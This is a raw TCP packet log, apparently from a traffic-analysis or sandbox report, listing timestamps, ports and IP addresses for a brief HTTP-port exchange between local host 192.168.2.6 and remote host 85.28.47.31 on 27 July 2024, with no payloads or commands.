Jul 27, 2024 03:19:16.056013107 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.056020975 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.056020975 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.056027889 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.056036949 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.056066990 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.056067944 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.056070089 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.056101084 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.056113958 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.056138039 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.056138039 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.056194067 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.056209087 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.056236982 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.056236982 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.056238890 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.056253910 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.056267977 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.056279898 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.056279898 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.056312084 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.056312084 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.056946993 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.056961060 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.056976080 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.057023048 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.057023048 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.057054043 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.057070971 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.057086945 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.057101011 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.057126045 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.057126045 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.057136059 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.057138920 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.057199001 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.057252884 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.057267904 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.057282925 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.057297945 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.057306051 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.057313919 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.057328939 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.057334900 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.057334900 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.057343960 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.057352066 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.057352066 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.057384014 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.057384014 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.058238029 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.058252096 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.058267117 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.058298111 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.058310032 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.058402061 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.058402061 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.189259052 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.189323902 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.189332962 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.189341068 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.189390898 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.189404964 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.189492941 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.189515114 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.189529896 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.189543962 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.189560890 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.189588070 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.189601898 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.189605951 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.189605951 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.189605951 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.189605951 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.189616919 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.189639091 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.189640045 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.189639091 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.189639091 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.189639091 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.189654112 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.189661026 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.189671993 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.189687014 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.189693928 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.189701080 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.189707994 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.189708948 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.189719915 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.189732075 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.189812899 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.189812899 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.190583944 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.190614939 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.190663099 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.190665960 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.190666914 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.190716982 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.190749884 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.190768957 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.190768957 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.190798998 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.190813065 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.190834999 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.190862894 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.190886021 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.190890074 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.190922022 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.190949917 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.190964937 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.190964937 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.190998077 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.190999985 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.191041946 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.191054106 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.191091061 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.191097021 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.191123962 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.191147089 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.191171885 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.191193104 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.191206932 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.191239119 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.191250086 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.191282034 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.191282988 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.191287994 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.191319942 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.191359043 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.191359043 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.191382885 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.191431999 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.191464901 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.191471100 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.191471100 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.191499949 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.191509962 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.191534996 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.191566944 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.191582918 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.191582918 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.191622019 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.191886902 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.191919088 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.191939116 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.191966057 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.191999912 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.192007065 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.192007065 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.192055941 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.192086935 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.192102909 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.192102909 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.192121029 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.192167044 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.192167044 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.192169905 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.192220926 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.192224026 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.192256927 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.192291021 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.192296982 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.192296982 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.192361116 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.192393064 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.192403078 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.192403078 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.192425966 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.192435026 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.192459106 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.192498922 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.192498922 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.192518950 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.192553043 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.192585945 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.192594051 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.192594051 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.192620993 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.192646980 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.192656994 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.192689896 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.192696095 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.192696095 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.192723989 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.192754030 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.192764997 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.192764997 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.192786932 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.192791939 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.192822933 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.192837000 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.192892075 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.192924976 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.192975998 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.193006992 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.193047047 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.193047047 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.193063974 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.193095922 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.193109989 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.193109989 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.193130970 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.193164110 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.193177938 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.193177938 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.193197966 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.193226099 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.193233013 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.193265915 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.193279982 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.193279982 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.193295956 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.193311930 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.193330050 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.193363905 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.193376064 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.193376064 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.193397045 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.193429947 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.193445921 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.193445921 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.193464041 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.193496943 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.193520069 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.193520069 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.193525076 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.193557024 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.193568945 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.193568945 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.193589926 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.193622112 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.193629026 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.193629026 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.193655968 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.193687916 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.193691969 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.193691969 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.193721056 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.193752050 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.193757057 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.193757057 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.193785906 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.193816900 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.193825006 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.193825006 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.193852901 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.193885088 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.193887949 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.193887949 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.193918943 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.193955898 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.193955898 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.193959951 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.194010973 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.194020987 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.194060087 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.194092989 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.194097996 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.194097996 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.194123983 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.194155931 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.194163084 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.194163084 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.194190025 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.194225073 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.194227934 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.194227934 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.194257021 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.194288969 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.194292068 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.194292068 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.194320917 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.194356918 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.194360971 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.194360971 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.194390059 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.194422007 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.194432974 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.194432974 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.194453955 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.194489002 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.194495916 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.194495916 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.194652081 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.306768894 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.306788921 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.306803942 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.306929111 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.306968927 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.306968927 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.307025909 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.307040930 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.307061911 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.307061911 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.307069063 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.307084084 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.307100058 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.307107925 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.307109118 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.307116985 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.307135105 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.307142019 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.307142019 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.307179928 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.307179928 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.307210922 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.307224989 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.307240963 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.307261944 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.307261944 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.307436943 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.307451963 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.307467937 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.307476044 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.307476044 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.307483912 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.307502985 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.307511091 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.307511091 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.307518005 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.307533026 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.307543039 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.307543039 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.307576895 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.307576895 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.308631897 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.308648109 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.308662891 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.308685064 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.308700085 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.308705091 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.308705091 CEST	49710	80	192.168.2.6	85.28.47.31
